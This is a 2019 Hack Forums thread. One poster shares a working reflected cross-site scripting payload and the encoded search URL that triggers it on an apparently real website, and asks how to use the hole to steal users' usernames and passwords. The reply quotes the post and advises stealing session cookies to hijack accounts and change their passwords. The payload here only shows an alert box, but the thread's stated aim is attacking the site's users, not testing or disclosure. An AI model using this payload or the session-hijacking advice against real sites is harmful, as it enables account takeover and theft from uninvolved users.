+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: I have question about Cross Site Scripting (/showthread.php?tid=5941599)
I have question about Cross Site Scripting - Fisher - Feb 16, 2019
Hello dear hackforum members.
I wanted to ask what I could do if I found this gap that then i enter this code in the search bar
Code
";alert(3)//--></SCRIPT>
<SCRIPT>alert("Hey");</SCRIPT>Code successfully executes and alert box pop up.
I'm thinking maybe somehow i can use this gap and get usernames;passwords of users.
Any ideas will be accepted. Thank you.
This is example how website url looks after execute search button
Code
/index.php?do=search&subaction=search&search_start=0&full_search=&result_from=1&story="%3Balert(3)%2F%2F--><%2FSCRIPT>+<SCRIPT>alert("Hey")%3B<%2FSCRIPT>&dosearch=SearchRE: I have question about Cross Site Scripting - Abruptum - Feb 16, 2019
(Feb 16, 2019 03:40 AM)Trojanisches Pferd Wrote: Hello dear hackforum members.
I wanted to ask what I could do if I found this gap that then i enter this code in the search bar
Code";alert(3)//--></SCRIPT>
<SCRIPT>alert("Hey");</SCRIPT>
Code successfully executes and alert box pop up.
I'm thinking maybe somehow i can use this gap and get usernames;passwords of users.
Any ideas will be accepted. Thank you.
This is example how website url looks after execute search button
Code/index.php?do=search&subaction=search&search_start=0&full_search=&result_from=1&story="%3Balert(3)%2F%2F--><%2FSCRIPT>+<SCRIPT>alert("Hey")%3B<%2FSCRIPT>&dosearch=Search
Most of the time xss-attacks are used to steal sessions and you then swap the password with your own after you applied the targets cookie on your script/browser.